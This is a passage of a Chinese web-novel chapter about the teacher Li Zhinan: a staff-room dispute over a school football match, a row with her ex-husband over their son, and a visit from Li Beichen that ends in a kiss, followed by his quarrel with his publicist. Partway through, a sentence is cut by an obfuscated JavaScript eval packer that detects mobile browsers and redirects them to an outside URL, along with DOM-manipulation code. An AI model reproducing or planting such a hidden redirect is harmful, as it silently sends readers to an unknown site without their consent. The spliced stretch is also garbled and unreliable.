石老师道:“不是,你们男生踢球踢到我们了,你们班女生在旁边起哄架秧子,您觉得合适吗?” “首先,我觉得就是世界杯的运动员,踢足球也做不到不磕磕碰碰,要是这么金贵,就别踢了,我问林教练了,说是正常防守,不存在我们踢脏球的事情。其次,您说的起哄,就是我们班拉拉队音量大了一点,但都是青春期的孩子,嗓门大也是没办法的,要不我给您班孩子买点金嗓子喉宝?” 石老师对楚老师道:“您看,李老师就是这个解决问题的态度?” 李知难回道:“我是解决问题的态度,但是解决问题不代表摁着我们班孩子的脑袋无条件去道歉。我们没做错的事情,是不会道歉的。” 楚老师看着二人,决定还是先做石老师的思想工作。“李老师,你先出去一下。” 李知难还没走出办公室,就听到身后石老师夹枪带棒道:“难怪老公出轨找小三,就这种脾气要是我,我也外面有人。” 李知难被这话说得一阵心火烧起来,强压下去只觉得一阵头疼又起。 孙书维早就在办公室外等着她,见她出来,拉她去了奚西的音乐教室。自从曲子格离开后,这里便成了她们的新据点。 “知难,没事吧?”奚西前前后后确认她没缺胳膊断腿。 孙书维只道:“你说你这么冲动干什么?” 李知难强忍着头疼,回道:“我可能最近情绪有些不好,但是我是不会让我们班孩子道歉的。” “行了,不道就不道。但是你这帐得算清楚,那帮学生马上就毕业了,可石老师以后几十年都跟你低头不见抬头见,你平时说话也不是这样的,怎么现在跟曲子格似的,一点情商都没有,全靠冲动行事?你要和同事打好关系,事情都是可以解决的,人际关系是要日积月累的。”孙书维教育道。 “我……” “这事你别管了,”孙书维摆了摆手,“你最近吃枪药了似的,医生不都说让你静气凝神,想脑血管炸开是不是?” 李知难摁着太阳穴揉了两下,“医生说了,没什么大事。” 奚西意外:“你怎么了?” 李知难指了指自己的头,无奈道:“前一阵子开始就一直头疼,上周去看了,说是我神经过度紧张导致的。” “上次疼得差点晕过去,还叫没大事?你先回家吧,剩下的事我来解决。”孙书维安排道。 “那我们班学生……” “不会让他们道歉的!”孙书维没好气道,“屁大点儿事,上纲上线的干嘛!” 直到李知难得到她的保证离开,奚西才在一旁小心翼翼道:“知难为什么会神经紧张?出什么事了吗?” 孙书维摇头,也找不到原因:“她最近和裴方禹走得挺近的,我以为正是甜蜜的时候,怎么还每天跟被人甩了似的这么大火气?” 奚西眼睛左右转着,道:“可能……有别的心事吧。” 64. 多管闲事 李知难离开校园,打算提前去接皮皮,她人到了学校,方才得知皮皮中午就被爸爸接走了。 “今天小柳生日,我带皮皮给她过生日了。”宋乐在电话中解释,“反正明天我也得去接他,你就当我是提前一天接走他了,下个礼拜我还你一宿不就行了吗?” “这事你提前问过我吗?”李知难觉得自己心里的气球正在被多角度地充着气,分分钟要炸开。 “你跟裴方禹出去,也没问过我啊?” “我也没有带皮皮和他一起!”她对着电话吼道。 对面只传来没灵魂的滴滴声,再打过去,一律是正在通话中,应当是宋乐屏蔽了她。 李知难本想去找曲子格诉苦,可她转念一想,这不就等于把消息间接告诉裴方禹,思及此,她也懒得再折腾了,拖着疲惫的身体回到了家。 九点多,李知难听到了敲门声。 皮皮回来了? 她立刻从床上跳起来,急急忙忙地去开门,可门外的人并不是皮皮,而是一个鸭舌帽帽檐压得低低的男人。 她还没反应过来这人是谁,他已经抢先一步进了门,将大门关紧。 “你没事吧?”他终于抬起了头,紧张地看着李知难。 认出对面人的李知难,却觉得自己的心跳比刚才以为要被打劫的时候跳得还快,讷讷道:“我……有什么事?” “我听奚西说……”李北辰解释了一半,没再说完,只道,“你还好吗?” “还行。”李知难本想给他拿鞋请他进来,可转念一想,又道,“你这样来我这儿,你女朋友知道了不好。” 李北辰看着她一心逐客的样子,低着头思索片刻,回道:“你没事那我就先走了。” 他还没来得及转身,胳膊就被李知难拉住。 她是下意识拉住的他的胳膊,以至于接下来要说什么,她心里并没有打算。可人已经被自己拉住,总归要说些话的。“你是……真的喜欢她吗?” 说完她立刻就后悔了。心内暗暗骂自己,怎么最近总说这种不过脑子的话。 李北辰僵在原地没有回答。 李知难松开了手,自说自话般,“她,挺好的,年轻漂亮,跟你挺配的。” 她等着他推门离去。 可李北辰却缓缓地在玄关处的脚凳上坐了下来,他低着头,被帽檐压得看不到任何五官,他小声问道:“你说的是真心话?” “当然……是了。”她无意识时,便将头转向了另一侧。 “你在乎她这些干什么?” “我替你……高兴。” “我用不着。” “那你当我多管闲事好了。” “你为什么要多管我的闲事?”他道,“你不是忙着和……他在一起吗?” 李知难看着他原本挺直的腰背,在说这番话时,渐渐前弯,胳膊逐渐支撑在双腿之上。 她在脚凳的另一边坐了下来。凳子很长,哪怕坐了两个人,中间还能空出一个身位。 李知难轻声道:“我和他……” “他对你好吗?”他打断了她的话。 “你问这……” 话再次被他打断,“我也替你高兴高兴。”他用她刚才的理由回赠给她。 “我和裴方禹……”李知难想解释,可又觉得自己的解释在此刻显得多余,改口道,“我们的事跟你没关系。” 李北辰终于抬起了头,眉头紧锁转向她那边,声音低哑而凝重:“你说什么?” “我说……和你没关系。”她清楚地知道,是刚才那个无心的“我们”引得他如此反应,所以再重复时,嘴巴自动地滤掉了那两个字,导致后面的没关系听起来也愈发没有底气。 李北辰突然起身,拉住她的手腕,在她面前半跪了下去。 “李北辰,你干什么……”李知难被他这突如其来的举动吓了一跳。 “你能不能选我?”他仰起头,用如同和神仙许愿一般的眼神看着自己。 李知难看着他的眼睛,感受着手腕上他的温度,五感如同剥离般,只剩下心脏跳动的声音。 “我错了知难。我知道我犯了很大的错,我不奢求你原谅,但是你能不能不要把我推开?只要你不推开我,你让我做什么我都心甘情愿。” 他直勾勾地看着她。 “我不会背叛你,不会离开你,在任何时候,都会坚定地选择你。”他将俗烂的誓言说得分外虔诚,“所以你能不能选我?” 李知难的大脑飞速旋转着,可仍旧想不出回答的话。 半晌,她才讷讷答:“你不是……有女朋友了吗?” “你真的替我高兴吗?”他反问。 李知难的眼神片刻就出卖了自己。她垂下的睫毛挡住了眼睛,欲盖弥彰地回答了这个问题。 月亮穿过厚厚的云层,在稀薄的间隙中勾勒出一抹若有似无的痕迹,月光顺势浅浅地映在了玄关处。 李知难的脸庞盖上了一层柔软的光,映着她柔软的眼神,噙在她柔软的唇边。 “你要是不想,就推开我。”李北辰轻声道。 说罢,他右手稍稍用力拉动她的手腕,左手顺势探在她的后脖颈间,李知难的身体被他支配着不自觉地前倾,他抬头迎去,吻上了她的嘴唇。 这个吻轻轻地印在她的嘴唇上,带着做好了被推开的心理准备。可李知难并没有推开他。他的胆子也因此大了些,横冲直撞地用力吻了下去。 良久后,方才舍得松开。 他呼吸起伏得厉害,仍旧半跪在她身前,顺势搂住了她的腰。 李北辰不敢抬头看她,就一点点地,把她抱得更紧一些。 他清楚地知道自己现在是以一种怎样的姿态做了怎样的行为,他害怕她反应过来后会毫不留情地推开自己,手上的力度忍不住又加重了一层。 他在心里一遍遍祈求着,希望她能够回抱住自己,哪怕不是用力的抱,哪怕只是稍稍抬起手,放到他的肩膀上。 她只要给他一丁点的回应就好。 可是她的手直直地垂在身侧,没有任何动静。 “李北辰……”终于,她开口叫了他的名字。 李北辰的心凉下来,接下的走向他猜得到,好一些,她会温声细语地告知两个人没有可能,坏一些,她会如之前一样,毫不犹豫地把自己推到一旁。 所以在这个时候,他必须掌握主动权。像是赌气一般,他突然松开了手。 “我知道,你看清了我的真面目,你也不需要我的喜欢。” 李知难并没有想好在这个时刻要说些什么,然而她也没有机会说了,因为此时李北辰已经整理好了自己的帽子,起身准备离开。 她不由心底生了些火气,他这是做对什么了,还敢这么理直气壮? 李北辰推开了门,身子背着她,冷冷道:“下次记得推开我。” 李知难听着那个“下次”,不由摸了摸自己的嘴唇。 几日后,文诗将一沓照片扔了过去,“你就这么忍不住!” 照片是他出入李知难小区被人拍到了,幸好李知难的身影没有出现在照片里,这让他松了口气。 “我不知道他们还在跟……” “都告诉你了,这阵子不要生事端,你现在弄这么一出,是嫌不够乱吗?”她本来就对这出炒作很不满意,但李北辰和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699708|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈亦童私下定好了一切,她连话语权都没有。 这是陈亦童的主意。 文诗和李北辰在娱乐圈的地位并不匹配,她的粉丝希望她能高高地站在神坛上独美,也不愿意她将自己的资源倾斜给才刚有些名气的制作人。 Bonnie是可能音乐新女团里存在感最低的一位,靠唱功靠舞蹈都砸不出半点火花。 所以他顺水推舟地将绯闻转移,文诗得到了大众的疼惜,Bonnie得到了前所未有的关注,李北辰想要远离台前的声色犬马,趁机正好消失匿迹。 但一旦李北辰有新的绯闻曝光,公众注意力就会从她们两人身上转到李北辰这里,为了炒作而宣布的正常恋情也会成为丑闻。 经纪人在旁劝道:“算了文诗,至少跟你没什么关系了,就算是出了事,也是可能音乐那边更麻烦。当然……北辰也会麻烦。” 李北辰道:“照片买回来吧。” 经纪人犹豫:“要吗?花这钱没什么意义,反正这照片里也没什么东西,过两天也没人在乎了。” “钱我出,照片买回来。”李北辰认真道,“没什么人真的关心我的私生活,这种新闻本来也没什么大价值,买回来给记者送个人情吧,让他以后别跟我了。” “所以才说这钱没必要啊,”经纪人帮他算着账,“你这样他说不定还更来劲了。” “我说了,花我的钱,去做吧。”他坚持道。 经纪人给文诗递了个眼神,文诗点头,然后摆摆手让他先出去。 “你是怕她被舆论伤害?”文诗问道。 “对。” 文诗对他的坦诚相告更加恼火:“那你就不要去找她啊!我都告诉你了,现在这个关节上,一百双眼睛盯着你,你不是很理智吗?你的理智呢?” 李北辰想到了那个吻,答道:“她的事我理智不了。” “李北辰,你图什么?”文诗气愤道,“她心里从来都没有你,你自己一个人在这上蹦下跳地人家连看都不看你一眼,你不觉得自己可笑吗?” 李北辰看向她,“我不在乎。” “可你把我变得跟你一样可笑!”文诗吼道。 “如果是工作上影响了你,我和你道歉,”李北辰轻声道,“但是我的私生活,和你没有关系。” “我倒是想知道,她到底是出了多了不得的事,值当的你冒着被毁掉事业的风险也要赶过去?” 李北辰接到奚西的电话,知道了学校里关于她的传言和她最近因为精神紧张而不适的身体,他也在小柳的朋友圈看到她和宋乐皮皮三个人的合照,确实都不是什么了不得的事情,可那日的他就是担心得一分钟也坐不住。 “没什么大事,是我自己担心她。”他诚实答。 “也就是人家压根不需要你?你还是巴巴地往上贴?”文诗难以置信道,“你到底要执迷不悟到什么时候?” “不知道。”他轻声答。 “李北辰,你给我一个理由行不行?她到底哪好值得你做到这种地步?” “她哪都好,就算是不好的地方,对我来说也都很好。这事和她没关系,是我控制不住自己想要去保护她的冲动。哪怕她从来都没有需要过。” 一周后,足球比赛事件在孙书维的主持下告一段落。两个班的学生各打三十大板,高三的学生因为有高考任务,所以最后的惩罚检讨都变成了口头批评,大事化小,小事化无地结束了。唯一的后遗症,便是以后禁止毕业班在高三下半学期参与体育比赛活动,毕竟以前也没有班级参加过,这项默认靠自觉的事情在这次事件之后变成了硬性规定。 李知难唯独对这一项有些遗憾和抱歉。